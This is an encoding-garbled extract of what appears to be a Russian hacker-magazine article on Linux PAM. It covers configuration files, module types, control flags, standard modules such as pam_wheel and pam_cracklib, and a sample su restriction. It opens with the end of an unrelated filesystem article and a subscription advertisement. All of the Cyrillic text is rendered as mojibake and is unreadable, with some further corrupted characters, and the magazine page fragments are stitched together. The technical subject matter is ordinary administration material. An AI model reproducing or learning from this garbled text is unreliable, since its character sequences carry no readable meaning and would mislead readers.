îãðàíè÷èìñÿ òîëüêî ñàìûìè îáùèìè ðåêîìåíäàöèÿìè. Íà äîìàøíèõ êîìïüþòåðàõ, îáîðóäîâàííûõ UPS’îì, ëó÷øèì âûáîðîì áóäåò ext2, óñòàíàâëèâàåìàÿ áîëüøèíñòâîì äèñòðèáóòèâîâ ïî óìîë÷àíèþ. Åñëè æå «óïñû» íåò, à îòêëþ÷åíèå ýëåêòðè÷åñòâà (çàâèñàíèÿ, ïåðåçàãðóçêè) — îáû÷íîå äåëî, òî èñïîëüçóé ext3 è âûáèðàé ìàêñèìàëüíûé óðîâåíü æóðíàëèðîâàíèÿ. Äëÿ ïîääåðæàíèÿ ïðîèçâîäèòåëüíîñòè â òîíóñå ðàçìåùàé ôàéë æóðíàëà íà îòäåëüíîì æåñòêîì äèñêå, ïîäêëþ÷åííîì ê ñâîåìó IDE-êàíàëó (âïðî÷åì, ýòî íå îáÿçàòåëüíî, òàê êàê ñîâðåìåííûå IDE-óñòðîéñòâà íîðìàëüíî äåëÿò îäíó øèíó äðóã ñ äðóãîì, åñëè, êîíå÷íî, íå âçäóìàþò êîíôëèêòîâàòü). Íà ñåðâåðàõ è ðàáî÷èõ ñòàíöèÿõ, ñíàáæåííûõ RAID-ìàññèâàìè, ìîæíî ïîñòàâèòü ext2 â òîì ñëó÷àå, åñëè îíè îðèåíòèðîâàíû íà ÷òåíèå, è ext3 — íà çàïèñü. Íàèáîëüøèé âûèãðûø ïðè ðàáîòå ñ ext3 äîñòèãàåòñÿ, êîãäà èìååøü äåëî ñ áàçàìè äàííûõ, îäíàêî òóò âñå çàâèñèò îò ðîäà çàïðîñîâ è òèïà ñàìîé áàçû. Äîñòîâåðíûé îòâåò ìîæåò äàòü òîëüêî ýêñïåðèìåíò. BINARY YOUR’S z

óòèëèòà davtools, âèçóàëèçèðóþùàÿ ôðàãìåíòàöèþ âûáðàííîãî ñïèñêà ôàéëîâ

XÀÊÅÐ 02 /86/ 06


Ïîïðîáóéòå ïîäïèñàòüñÿ â ðåäàêöèè, ïîçâîíèòå íàì. (ýòî óäîáíåå, ÷åì ïðèíÿòî äóìàòü

SYNC

Ìîáèëüíûå êîìïüþòåðû

Ëó÷øèå öèôðîâûå êàìåðû

Õàêåð

Õàêåð Ñïåö

Total DVD

DVD Ýêñïåðò

Total Football

Äëÿ ïîäïèñ÷èêîâ â Ìîñêâå êóðüåðñêàÿ äîñòàâêà â äåíü âûõîäà æóðíàëà Äåøåâëå, ÷åì â ðîçíèöó Ãàðàíòèÿ äîñòàâêè è çàìåíû â ñëó÷àå ïîòåðè Ñïåöèàëüíûå ïðåäëîæåíèÿ äëÿ ïîäïèñ÷èêîâ Ïåðâûé íîìåð ïîäïèñêè âûñûëàåòñÿ ïî çâîíêó âìåñòå ñ çàïîëíåííîé êâèòàíöèåé äëÿ îïëàòû

Æåëåçî

Onboard

:)

Ñòðàíà Èãð

Mountain Bike Action

ÐÑ Èãðû

CyberSport

Õóëèãàí

Ñâîé áèçíåñ

780-88-29 (äëÿ Ìîñêâû) 8-800-200-3-999 (äëÿ Ðîññèè) ÂÑÅ ÇÂÎÍÊÈ ÁÅÑÏËÀÒÍÛÅ Ìû ðàáîòàåì ñ 9 äî 18 ïî ðàáî÷èì äíÿì


UNIXOID UNIXOID ///// ISSUE

TEXT ÈÂÀÍ ÑÊËßÐΠ/ SKLYAROV@REAL.XAKEP.RU / WWW.SKLYAROFF.RU /

ÑÈÑÒÅÌÀ ÁÅÇÎÏÀÑÍÎÑÒÈ PAM ÈÇÍÓÒÐÈ Ó×ÈÌÑß ÈÑÏÎËÜÇÎÂÀÒÜ È ÑÎÇÄÀÂÀÒÜ ÑÂÎÈ ÌÎÄÓËÈ PAM

ÒÛ, ÊÎÍÅ×ÍÎ ÆÅ, ÇÍÀÅØÜ, ×ÒÎ Ó×ÅÒÍÛÅ ÄÀÍÍÛÅ È ÏÀÐÎËÈ Â ÁÎËÜØÈÍÑÒÂÅ *NIX ÕÐÀÍßÒÑß Â ÒÀÊÈÕ ÔÀÉËÀÕ, ÊÀÊ /ETC/PASSWD, /ETC/SHADOW, /ETC/MASTER.PASSWD. ÍÎ ÇÍÀÅØÜ ËÈ ÒÛ, ×ÒÎ ÝÒÈ ÔÀÉËÛ ÎÒÍÎÑßÒÑß ËÈØÜ Ê ÑÒÀÍÄÀÐÒÍÎÉ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ, ÊÎÒÎÐÀß ËÅÃÊÎ ÌÎÆÅÒ ÁÛÒÜ ÈÇÌÅÍÅÍÀ?  ÑÂÎÞ ÑÈÑÒÅÌÓ ÒÛ ÌÎÆÅØÜ ÂÍÅÄÐÈÒÜ ÁÎËÅÅ ÑËÎÆÍÛÅ ÑÈÑÒÅÌÛ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ, ÂÏËÎÒÜ ÄÎ ÈÑÏÎËÜÇÎÂÀÍÈß ÑÌÀÐÒ-ÊÀÐÒ, ÝËÅÊÒÐÎÍÍÛÕ ÊËÞ×ÅÉ È ÑÊÀÍÅÐÀ ÑÅÒ×ÀÒÊÈ ÃËÀÇÀ. ÏÐÈ×ÅÌ ÄËß ÝÒÎÃÎ ÑÎÂÑÅÌ ÍÅ ÍÀÄÎ ÏÀÒ×ÈÒÜ ÎÑ, ÏÅÐÅÊÎÌÏÈËÈÐÎÂÀÒÜ ßÄÐÎ È ÂÛÏÎËÍßÒÜ ÌÍÎÆÅÑÒÂÎ ÃÐÎÌÎÇÄÊÈÕ ÎÏÅÐÀÖÈÉ

Íà êîìïàêò-äèñêå ëåæàò èñõîäíûå êîäû PAM-ïðèëîæåíèÿ (appl_pam.c) è PAMìîäóëÿ (pam_test.c).

×ÒÎ ÒÀÊÎÅ PAM Âî âñåõ ñîâðåìåííûõ unix-like ñèñòåìàõ ìåõàíèçì àóòåíòèôèêàöèè îòäåëåí îò ïðîãðàìì, ñ ïîìîùüþ êîòîðûõ îíà îñóùåñòâëÿåòñÿ. Ýòî ñòàëî âîçìîæíûì áëàãîäàðÿ èñïîëüçîâàíèþ PAM (Pluggable Authentication Modules) — Ïîäêëþ÷àåìûõ Àóòåíòèôèêàöèîííûõ Ìîäóëåé. Òàêèå ïðîãðàììû, êàê login, su, passwd, â ñîâðåìåííûõ ñèñòåìàõ ñàìè íå ðàáîòàþò ñ ïàðîëÿìè, à äåëàþò çàïðîñ ê PAM, êîòîðàÿ îñóùåñòâëÿåò âñþ ïðîöåäóðó àóòåíòèôèêàöèè è âîçâðàùàåò îòâåò: ÓÑÏÅÕ (PAM_SUCCESS) èëè ÍÅÓÄÀ×À (PAM_AUTH_ERR), à ïðèêëàäíàÿ ïðîãðàììà ëèøü âûâîäèò ñîîáùåíèå ïîëüçîâàòåëþ â çàâèñèìîñòè îò îòâåòà PAM. Òàêèì îáðàçîì, ïðèêëàäíûì ïðîãðàììàì ñîâåðøåííî íåâàæíî, êàêèì îáðàçîì PAM îñóùåñòâëÿåò àóòåíòèôèêàöèþ, ïîýòîìó àäìèíèñòðàòîð ìîæåò âíåäðèòü èíûå ìåõàíèçìû àóòåíòèôèêàöèè, íå ïåðåêîìïèëèðóÿ íèêàêèõ ïðèêëàäíûõ ïðîãðàìì. À êàê ýòî ñäåëàòü, ñåé÷àñ ìû óçíàåì. ÒÐÈ ÂÅÒÂÈ PAM Âïåðâûå PAM ïîÿâèëñÿ â îïåðàöèîííîé ñèñòåìå Solaris 2.3, ïîñëå ÷åãî áûë àäàïòèðîâàí äëÿ Linux, BSD è ïðî÷èõ *nix. Ñåé÷àñ ñóùåñòâóåò òðè îñíîâíûõ âåòâè ðàçâèòèÿ PAM: Solaris PAM, Linux-PAM è OpenPAM. LinuxPAM èñïîëüçóåòñÿ ïî÷òè âñåìè ñîâðåìåííûìè Linux. OpenPAM âïåðâûå ñòàë ïðèìåíÿòüñÿ âî FreeBSD 5.x è NetBSD 3.x, äî ýòîãî BSDñèñòåìû èñïîëüçîâàëè Linux-PAM.  öåëîì

112

ñîäåðæèìîå êîíôèãóðàöèîííîãî ôàéëà login

âñå òðè âåòâè èìåþò ëèøü íåçíà÷èòåëüíûå îòëè÷èÿ. Äàëüøå ïîéäåò ðàçãîâîð ïðèìåíèòåëüíî ê Linux-PAM, íî èíîãäà ÿ áóäó óêàçûâàòü ðàñõîæäåíèÿ ñ äðóãèìè âåòâÿìè. ÀÐÕÈÒÅÊÒÓÐÀ PAM Êàê ñëåäóåò èç ñàìîãî íàçâàíèÿ, PAM ñîñòîèò èç ìîäóëåé. Èìåííî ìîäóëè îòâå÷àþò çà òî, êàê áóäåò îñóùåñòâëÿòüñÿ àóòåíòèôèêàöèÿ. Ìîäóëè ïðåäñòàâëÿþò ñîáîé îáû÷íûå äèíàìè÷åñêèå áèáëèîòåêè ñ ðàñøèðåíèåì «.so», ñòàíäàðòíî ðàñïëîæåííûå â êàòàëîãå /usr/lib/security (õîòÿ ýòî íå îáÿçàòåëüíî). Íàñòðîéêà ìîäóëåé äëÿ ðàáîòû ñ êîíêðåòíûì ïðèëîæåíèåì îñóùåñòâëÿåòñÿ ñ ïîìîùüþ êîíôèãóðàöèîííûõ ôàéëîâ, ðàñïîëîæåííûõ â /etc/pam.d (â íåêîòîðûõ ñèñòåìàõ èñïîëüçóåòñÿ òîëüêî îäèí ôàéë — /etc/pam.conf). Êàæäîìó ïðèëîæåíèþ, êîòîðîå èñïîëüçóåò àóòåíòèôè-

êàöèþ, ñîîòâåòñòâóåò ñâîé ôàéë êîíôèãóðàöèè ñ îäíîèìåííûì íàçâàíèåì.  êîíôèãóðàöèîííûõ ôàéëàõ óêàçûâàåòñÿ ïîñëåäîâàòåëüíîñòü âûçîâîâ PAM-ìîäóëåé ñ äîïîëíèòåëüíûìè ïàðàìåòðàìè. Èçìåíÿÿ êîíôèãóðàöèîííûé ôàéë (íàïðèìåð, äîáàâëÿÿ íîâûé PAM-ìîäóëü), ìîæíî èçìåíèòü ïðîöåäóðó àóòåíòèôèêàöèè. Ôàéë êîíôèãóðàöèè ñîñòîèò èç ÷åòûðåõ ñòîëáöîâ.  ïåðâîì ñòîëáöå óêàçûâàåòñÿ òèï ìîäóëÿ (âñåãî ñóùåñòâóåò ÷åòûðå òèïà ìîäóëåé: auth, account, password è sessions). Âî âòîðîì ñòîëáöå íàõîäèòñÿ ôëàã êîíòðîëÿ, êîòîðûé óêàçûâàåò, êàê ñèñòåìà áóäåò ðåàãèðîâàòü ïðè óäà÷íîì èëè íåóäà÷íîì ïðîõîæäåíèè ñîîòâåòñòâóþùåãî ìîäóëÿ. Ôëàãîâ òàêæå ñóùåñòâóåò âñåãî ÷åòûðå: required, requisite, sufficient è optional.  òðåòüåì ïîëå óêàçûâàåòñÿ èìÿ ìîäóëÿ è åãî ðàñïîëîæåíèå â ñèñòåìå. Íåêîòîðûå ìîäóëè

XÀÊÅÐ 02 /86/ 06


èìåþò íåîáÿçàòåëüíûå ïàðàìåòðû, êîòîðûå óêàçûâàþòñÿ â ÷åòâåðòîì ñòîëáöå. Ñèìâîë ðåøåòêè (#) èñïîëüçóåòñÿ äëÿ êîììåíòàðèåâ. Ñòðîêè ñ îäèíàêîâûì òèïîì îáðàçóþò òàê íàçûâàåìûé ñòåê ìîäóëåé, ïîçâîëÿþùèé ïîëó÷èòü ìíîãîøàãîâóþ àóòåíòèôèêàöèþ, âêëþ÷àþùóþ íåñêîëüêî ðàçëè÷íûõ ïðîöåäóð àóòåíòèôèêàöèè. Ïðàêòè÷åñêè íà âñå ñëó÷àè æèçíè â ñèñòåìå ñóùåñòâóþò ñòàíäàðòíûå

îáùàÿ àðõèòåêòóðà PAM

ìîäóëè, èç êîòîðûõ ìîæíî ñòðîèòü ðàçëè÷íûå ñèñòåìû àóòåíòèôèêàöèè. Íî â íåêîòîðûõ ñëó÷��ÿõ íåîáõîäèìûé ìîäóëü íóæíî ïèñàòü ñàìîìó. Äëÿ ýòîãî â PAM åñòü PAM API, ïîçâîëÿþùèé ïðîãðàììèñòó èñïîëüçîâàòü ôóíêöèè PAM. Òàêèì îáðàçîì, åñëè òû ïðèñîåäèíèøü ê ñâîåìó êîìïüþòåðó ñêàíåð ñåò÷àòêè ãëàçà, òî òåáå áóäåò íåîáõîäèìî íàïèñàòü íîâûé ìîäóëü ñ ïîìîùüþ PAM API, êîòîðûé áû îáðàùàëñÿ ê óñòðîéñòâó è âîçâðàùàë îò íåãî îòâåò. ÒÈÏÛ ÌÎÄÓËÅÉ Êàê óæå îòìå÷àëîñü, âñåãî ñóùåñòâóåò ÷åòûðå òèïà ìîäóëåé:

1 auth. Ìîäóëè òàêîãî òèïà âûïîëíÿþò ôóíêöèè àóòåíòèôèêàöèè ïîëüçîâàòåëåé â ñèñòåìå (ïðîâåðÿþò íàëè÷èå ïîëüçîâàòåëÿ â ñèñòåìå, îñóùåñòâëÿþò ââîä èìåíè è ïàðîëÿ, ðàçðåøàþò äîñòóï â òó èëè èíóþ ãðóïïó è ò.ï.). Auth-ìîäóëü äîëæåí îáÿçàòåëüíî ïðåäîñòàâëÿòü ñëåäóþùèå äâå ôóíêöèè: pam_sm_authenticate() âûïîëíÿåò çàäà÷ó àóòåíòèôèêàöèè ïîëüçîâàòåëÿ, òî åñòü ñðàâíèâàåò ââåäåííûé êëþ÷ ñî çíà÷åíèåì â áàçå äàííûõ; pam_sm_setcred() îòêðûâàåò äîñòóï ïðèêëàäíîé ïðîãðàììå ê òàêîé èíôîðìàöèè î ïîëüçîâàòåëå, êàê åãî ID, ÷ëåíñòâî â ãðóïïàõ è ëèìèò ðåñóðñîâ. Äëÿ êîððåêòíîé èíèöèàëèçàöèè â ìîäóëå äîëæíà áûòü âêëþ÷åíà ñòðîêà «#define PAM_SM_AUTH» ïîñëå âêëþ÷åíèÿ «#include <security/pam_modules.h>». 2 account. Ìîäóëè òàêîãî òèïà ïðîâåðÿþò äîñòóïíîñòü àêêàóíòà íà îñíîâå ðåñóðñîâ ñèñòåìû (âðåìÿ ñóòîê èëè çàãðóçêà ñåðâåðà). Account-ìîäóëü äîëæåí îáÿçàòåëüíî ïðåäîñòàâëÿòü ôóíêöèþ pam_sm_acct_mgmt(), êîòîðàÿ ïðîâåðÿåò, äîñòóïåí ëè çàïðàøèâàåìûé àêêàóíò. Äëÿ êîððåêòíîé èíèöèàëèçàöèè â ìîäóëå äîëæíà áûòü âêëþ÷åíà ñòðîêà «#define PAM_SM_ACCOUNT». 3 password. Ìîäóëè ýòîãî òèïà ïðåäíàçíà÷åíû äëÿ ñìåíû ïàðîëÿ ïî çàïðîñó ïîëüçîâàòåëÿ èëè ïî èñòå÷åíèþ ñðîêà äåéñòâèÿ. Passwordìîäóëü äîëæåí îáÿçàòåëüíî ïðåäîñòàâëÿòü ôóíêöèþ pam_sm_chauthtok(), êîòîðàÿ èçìåíÿåò êëþ÷ àóòåíòèôèêàöèè, ïðîâåðÿåò, íå èñïîëüçîâàëñÿ ëè îí ðàíåå, à çàîäíî è åãî ñòîéêîñòü. Äëÿ êîððåêòíîé èíèöèàëèçàöèè â ìîäóëå äîëæíà áûòü âêëþ÷åíà ñòðîêà «#define PAM_SM_PASSWORD». 4 session. Äàííûå ìîäóëè èñïîëüçóþòñÿ äëÿ âûïîëíåíèÿ îïðåäåëåííûõ äåéñòâèé ïåðåä íà÷àëîì ñåàíñà è ïåðåä åãî îêîí÷àíèåì. Òàêèìè äåéñòâèÿìè ìîãóò áûòü, íàïðèìåð, äîáàâëåíèå çàïèñåé â log-ôàéëû, ïîäãîòîâêà ïîëüçîâàòåëüñêîãî îêðóæåíèÿ, çàïóñê êàêèõ-íèáóäü ñëóæá è ò.ä. Session-ìîäóëü äîëæåí ïðåäîñòàâëÿòü ñëåäóþùèå äâå ôóíêöèè: pam_sm_open_session() âûïîëíÿåò çàäà÷è, ñâÿçàííûå ñ óñòàíîâêîé

XÀÊÅÐ 02 /86/ 06

ñåàíñà; pam_sm_close_session() îòâå÷àåò çà çàâåðøåíèå ñåàíñà. Äëÿ êîððåêòíîé èíèöèàëèçàöèè â ìîäóëå äîëæíà áûòü âêëþ÷åíà ñòðîêà «#define PAM_SM_SESSION». ÊÎÍÒÐÎËÜÍÛÅ ÔËÀÃÈ Â Linux-PAM ñóùåñòâóåò âñåãî ÷åòûðå ôëàãà êîíòðîëÿ: 1 required. Åñëè ìîäóëü âûäàë îøèáêó, òî öåïî÷êà ïðîäîëæèò âûïîëíÿòüñÿ, íî çàïðîñ áóäåò îòêëîíåí. 2 requisite. Åñëè ïðîèçîøëà îøèáêà ìîäóëÿ, òî öåïî÷êà íåìåäëåííî çàêàí÷èâàåòñÿ, è çàïðîñ îòêëîíÿåòñÿ. 3 sufficient. Åñëè ìîäóëü âûïîëíèëñÿ íîðìàëüíî, è íèêàêîé ïðåäûäóùèé ìîäóëü â öåïî÷êå íå ïîòåðïåë íåóäà÷ó, òî öåïî÷êà çàêàí÷èâàåòñÿ, è ïðèíèìàåòñÿ ïîëîæèòåëüíîå ðåøåíèå î ïðåäîñòàâëåíèè äîñòóïà.  ñëó÷àå îøèáêè ìîäóëü èãíîðèðóåòñÿ, è âûïîëíÿåòñÿ îñòàëüíàÿ ÷àñòü öåïî÷êè. 4 optional. Ìîäóëü ñ ýòèì ôëàãîì íå êðèòè÷åí äëÿ àóòåíòèôèêàöèè è èñïîëüçóåòñÿ êàê äîïîëíèòåëüíûé, òî åñòü ìîäóëü áóäåò âûïîëíåí, íî åãî ðåçóëüòàò èãíîðèðóåòñÿ.  OpenPAM ñóùåñòâóåò åùå îäèí ôëàã — binding, êîòîðûé ïî äåéñòâèþ ïîõîæ íà sufficient, íî â ñëó÷àå êîãäà ìîäóëü âûäàåò îøèáêó, çàïðîñ áóäåò îòêëîíåí, õîòÿ îñòàëüíàÿ ÷àñòü öåïî÷êè âûïîëíèòñÿ (ôëàã sufficient èãíîðèðóåò ìîäóëü â ñëó÷àå îøèáêè). ÑÒÀÍÄÀÐÒÍÛÅ ÌÎÄÓËÈ Â ñèñòåìå ïðèñóòñòâóåò ìíîæåñòâî ñòàíäàðòíûõ ìîäóëåé PAM, êîòîðûå àäìèíèñòðàòîð ìîæåò èñïîëüçîâàòü äëÿ ïîñòðîåíèÿ öåïî÷åê. Ñïèñîê ñòàíäàðòíûõ ìîäóëåé ìîæíî óâèäåòü ñ ïîìîùüþ êîìàíäû: % find / -name pam_*.so

Ðàññìîòðèì íåêîòîðûå ìîäóëè è çàîäíî óêàæåì òèï, êîòîðûé îíè ìîãóò ïðèíèìàòü: pam_access.so. Òèï account. Ïðåäîñòàâëÿåò èëè çàïðåùàåò äîñòóï íà îñíîâàíèè ôàéëà /etc/security/access.conf. Ñòðîêè ýòîãî ôàéëà èìåþò ñëåäóþùèé ôîðìàò: «ïðàâà:ïîëüçîâàòåëè:îòêóäà», ãäå Ïðàâà — çíàê «+» (ðàçðåøèòü) èëè çíàê «-» (çàïðåòèòü). Ïîëüçîâàòåëè — ALL, èìÿ ïîëüçîâàòåëÿ èëè ïîëüçîâàòåëü@óçåë, ãäå óçåë ñîîòâåòñòâóåò èìåíè ëîêàëüíîé ìàøèíû, èíà÷å çàïèñü èãíîðèðóåòñÿ. Îòêóäà — îäíî èëè íåñêîëüêî èìåí ôàéëîâ òåðìèíàëîâ (áåç ïðåôèêñà /dev/), èìåíà óçëîâ, äîìåííûå èìåíà (íà÷èíàþùèåñÿ ñ òî÷êè), IP-àäðåñà (ñ òî÷êîé íà êîíöå, íàïðèìåð, 172.85.10.10.), ALL èëè LOCAL. Ïàðàìåòðîâ äàííûé ìîäóëü íå èìååò. pam_cracklib.so. Òèï password. Ïðîâåðÿåò ïàðîëè íà ñòîéêîñòü. Èìååò íåîáÿçàòåëüíûå ïàðàìåòðû: debug — çàíîñèò îòëàäî÷íóþ èíôîðìàöèþ â ôàéë æóðíàëà; retry=N — ÷èñëî ïîïûòîê ââîäà ïàðîëÿ, ïî èñ÷åðïàíèþ êîòîðûõ âîçâðàùàåòñÿ îøèáêà (ïî óìîë÷àíèþ äàåòñÿ îäíà ïîïûòêà); diffok=N — äîëæíî áûòü èçìåíåíî ìèíèìóì N ñèìâîëîâ ïðè ñìåíå ïàðîëÿ; minlen=N — ìèíèìàëüíûé ðàçìåð ïàðîëÿ; dcredit=N, ucredit=N, lcredit=N, ocredit=N — â ïàðîëå äîëæíî ïðèñóòñòâîâàòü ìèíèìóì N öèôð, ñòðî÷íûõ, ïðîïèñíûõ áóêâ è äðóãèõ ñèìâîëîâ. pam_deny.so. Òèï ëþáîé. Äàííûé ìîäóëü íà ëþáîé çàïðîñ îòâå÷àåò PAM_AUTH_ERR. Áûâàåò ïîëåçåí äëÿ áûñòðîãî îòêëþ÷åíèÿ ñåðâèñà (åñëè äîáàâèòü â íà÷àëî öåïî÷êè) èëè äëÿ çàâåðøåíèÿ öåïî÷êè sufficient ìîäóëåé. pam_lastlog.so. Òèï auth. Çàíîñèò â ôàéëû utmp, utmpx, wtmp, wtmpx, lastlog è lastlogx ñâåäåíèÿ î òîì, êîãäà è îòêóäà ïîëüçîâàòåëü âîøåë â ñèñòåìó. Èìååò ïàðàìåòðû: debug — çàïèñûâàòü ïîäðîáíóþ èíôîðìàöèþ â syslog; nodate, noterm, nohost, silent — îòáðàñûâàòü äàòó, èìÿ òåðìèíàëà, èìÿ õîñòà èëè âñå âìåñòå; never — åñëè ïîëüçîâàòåëü ïåðâûé ðàç âõîäèò â ñèñòåìó, òî åãî ïðèâåòñòâóþò òàêèì ñîîáùåíèåì: «Äîáðî ïîæàëîâàòü...».

113


UNIXOID ///// ISSUE

 ÐÀÇÍÛÕ *NIX ÑÓÙÅÑÒÂÓÞÒ

ÑÂÎÈ ÑÒÀÍÄÀÐÒÍÛÅ ÌÎÄÓËÈ

pam_limits.so. Òèï session. Ïîçâîëÿåò íàêëàäûâàòü îãðàíè÷åíèÿ íà ïîëüçîâàòåëåé, âîøåäøèõ â ñèñòåìó. Òðåáóåò ôàéë /etc/security/limits.conf è ïîääåðæêó ÿäðà äëÿ îãðàíè÷åíèé.

æóðíàëó òû ìîæåøü íàéòè èñõîäíûé êîä ïðîñòåéøåãî PAM-ïðèëîæåíèÿ (ÿ íàçâàë åãî appl_pam.c).

pam_nologin.so. Òèï auth. Ïðîâåðÿåò íàëè÷èå ôàéëà /etc/nologin. Åñëè îí ñóùåñòâóåò, òî â ñèñòåìó ìîæåò âîéòè òîëüêî root, à îñòàëüíûì áóäåò âûäàíî íà ýêðàí ñîäåðæèìîå ýòîãî ôàéëà. pam_permit.so. Ïðîñòåéøèé ìîäóëü, êîòîðûé íà êàæäûé çàïðîñ ïðîñòî âîçâðàùàåò PAM_SUCCESS. Ýòîò ìîäóëü áûâàåò ïîëåçåí â êà÷åñòâå ìåòêè èëè äëÿ ïðåäîòâðàùåíèÿ ïîÿâëåíèÿ ïóñòîé öåïî÷êè. pam_pwdb.so. Òèï ëþáîé. Îáû÷íî ÿâëÿåòñÿ àëüòåðíàòèâîé ìîäóëþ pam_unix.so. Ïðåäîñòàâëÿåò èíòåðôåéñ ê ôàéëàì passwd è shadow. Ïîëåçíûå ïàðàìåòðû: nullok — ìîæíî èñïîëüçîâàòü ïóñòûå ïàðîëè; md5, shadow, bigcrypt — ðàçëè÷íûå ñïîñîáû øèôðîâàíèÿ ïàðîëÿ. pam_rootok.so. Òèï auth. Äîïóñêàåò ïîëüçîâàòåëÿ ê ñåðâèñó, òîëüêî åñëè åãî uid=0. pam_time.so. Òèï account. Ïîçâîëÿåò îãðàíè÷èòü äîñòóï ê ñëóæáå â çàâèñèìîñòè îò âðåìåíè. Íàñòðàèâàåòñÿ ñ ïîìîùüþ êîíôèãóðàöèîííîãî ôàéëà /etc/securitty/time.conf. pam_warn.so. Òèï auth è password. Ïðîñòî çàíîñèò ñîîáùåíèå î ñâîåì âûçîâå â syslog. Ïàðàìåòðîâ íå èìååò. pam_wheel.so. Òèï auth. Ïîçâîëÿåò ïîëó÷àòü ïðàâà ñóïåðïîëüçîâàòåëÿ òîëüêî ïîëüçîâàòåëÿì ãðóïïû wheel. Îäèí èç ïîëåçíûõ ïàðàìåòðîâ: group=XXX — èñïîëüçîâàòü óêàçàííóþ ãðóïïó âìåñòî wheel.

ñïèñîê ñòàíäàðòíûõ PAM-ìîäóëåé â ìîåé ñèñòåìå

Ñóùåñòâóåò åùå îñîáûé ìîäóëü — pam_stack.so, êîòîðûé ìîæåò áûòü ëþáîãî òèïà è âñåãäà èñïîëüçóåòñÿ ñ ïàðàìåòðîì service=XXX, ãäå XXX — íàçâàíèå êîíôèãóðàöèîííîãî ôàéëà äðóãîãî ñåðâèñà. Ýòîò ìîäóëü ïðåäíàçíà÷åí äëÿ âêëþ÷åíèÿ öåïî÷êè ìîäóëåé èç äðóãîãî êîíôèãóðàöèîííîãî ôàéëà. Íàïðèìåð, çàïèñü «/lib/security/pam_stack.so service=systemauth» îçíà÷àåò, ÷òî íóæíî âûïîëíèòü öåïî÷êó ìîäóëåé èç êîíôèãóðàöèîííîãî ôàéëà system-auth.  ðàçíûõ *nix ñóùåñòâóþò ñâîè ñòàíäàðòíûå ìîäóëè, õîòÿ ðàññìîòðåííûå ìîäóëè ïðèñóòñòâóþò ïî÷òè â êàæäîé ñèñòåìå.

èñõîäíûé êîä ïðîñòåéøåãî PAM-ïðèëîæåíèÿ

Êîìïèëÿöèÿ âûïîëíÿåòñÿ ñëåäóþùèì îáðàçîì: % gcc -o appl_pam appl_pam.c -lpam -lpam_misc

Ïðîãðàììà appl_pam ïðîñòî çàïðàøèâàåò ó ïîëüçîâàòåëÿ åãî ïàðîëü, è åñëè ïàðîëü ââåäåí âåðíî, òî âûâîäèò Authentication OK, èíà÷å — Not Authenticated. Âûçûâàòü ôóíêöèè PAM API â ïðîãðàììå ìîæíî òîëüêî ïîñëå âûçîâà ôóíêöèè pam_start(), êîòîðàÿ èíèöèàëèçèðóåò áèáëèîòåêó PAM, à çàêàí÷èâàòüñÿ ðàáîòà äîëæíà ôóíêöèåé pam_end(). Ïåðâûé àðãóìåíò â pam_start() — ýòî èìÿ ñåðâèñà.  appl_pam ÿ çàäåéñòâîâàë ñåðâèñ passwd. Õî÷ó îáðàòèòü âíèìàíèå íà âòîðîé ïàðàìåòð: getenv(«LOGNAME»), êîòîðûé îïðåäåëÿåò èìÿ ïîëüçîâàòåëÿ èç ñòàíäàðòíîé ïåðåìåííîé îêðóæåíèÿ LOGNAME. Åñëè âòîðîé ïàðàìåòð ñäåëàòü íóëåâûì çíà÷åíèåì, òî ôóíêöèÿ áóäåò çàïðàøèâàòü íå òîëüêî ïàðîëü, íî è ëîãèí ïîëüçîâàòåëÿ. Òðåòüèì àðãóìåíòîì ÿâëÿåòñÿ ññûëêà íà îáúåêò äèàëîãà.  ÷åòâåðòóþ ïåðåìåííóþ pam_start() çàïèøåò äåñêðèïòîð ñåàíñà, êîòîðûé áóäåò èñïîëüçîâàòüñÿ âñåìè ïîñëåäóþùèìè ôóíêöèÿìè PAM API â ïðîãðàììå.

ÏÐÈÌÅÐ ÈÑÏÎËÜÇÎÂÀÍÈß ÑÒÀÍÄÀÐÒÍÛÕ ÌÎÄÓËÅÉ Â êà÷åñòâå ïðèìåðà èçìåíèì ïîâåäåíèå êîìàíäû su. Íàïîìíþ, su ïðåäîñòàâëÿåò âîçìîæíîñòü ðåãèñòðèðîâàòüñÿ â ñèñòåìå ïîä äðóãèì èìåíåì, â òîì ÷èñëå root. Ñäåëàåì òàê, ÷òîáû òîëüêî ïîëüçîâàòåëè îäíîé ãðóïïû ( «ivan») ìîãëè ïîëó÷àòü ïðàâà («root») ïðè ïîìîùè su. Äëÿ ýòîãî íóæíî äîáàâèòü ñëåäóþùèå äâå ñòðîêè â íà÷àëî êîíôèãóðàöèîííîãî ôàéëà su â êàòàëîãå /etc/pam.d: auth sufficient /lib/security/pam_rootok.so auth required /lib/security/pam_wheel.so group=ivan ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈÅ PAM-ÏÐÈËÎÆÅÍÈÉ Îáðàùàòüñÿ ê ìîäóëÿì PAM èìååò ñìûñë òîëüêî â òîì ñëó÷àå, êîãäà â òâîåé ïðîãðàììå íóæíî îñóùåñòâëÿòü àóòåíòèôèêàöèþ. Íà äèñêå ê

114

íà îôèöèàëüíîé ñòðàíèöå Linux-PAM ìîæíî íàéòè äîêóìåíòàöèþ ïî ïðîãðàììèðîâàíèþ è àäìèíèñòðèðîâàíèþ PAM

XÀÊÅÐ 02 /86/ 06


Äîìàøíèå ñòðàíè÷êè òðåõ âåòâåé PAM: Linux-PAM: www.kernel.org/pub/linux/libs/pam/ OpenPAM: sourceforge.net/projects/openpam Solaris PAM: www.sun.com/software/solaris/pam/

Ïðèëîæåíèå äîëæíî îáåñïå÷èòü «ôóíêöèþ äèàëîãà». Îíà èñïîëüçóåòñÿ äëÿ ïðÿìîé ñâÿçè ìåæäó ïîäãðóæàåìûì ìîäóëåì è ïðèëîæåíèåì è îáåñïå÷èâàåò ìîäóëþ ñðåäñòâî, êîòîðîå áóäåò çàïðàøèâàòü ó ïîëüçîâàòåëÿ ïàðîëü è ò.ä.  pam_test() èñïîëüçóåòñÿ ñòàíäàðòíàÿ ôóíêöèÿ äèàëîãà misc_conv(), âûïîëíÿþùàÿ òåðìèíàëüíûé ââîä-âûâîä, àäðåñ êîòîðîé âí��÷àëå ïðîãðàììû ìû óêàçàëè â ñòðóêòóðå pam_conv. Ìîæíî íàïèñàòü ñâîþ ôóíêöèþ, èñïîëüçóþùóþ äðóãèå ñïîñîáû îáùåíèÿ ñ ïîëüçîâàòåëåì, íàïðèìåð, âñïëûâàþùåå îêíî, ãîëîñîâîé ââîä-âûâîä è ò.ä.  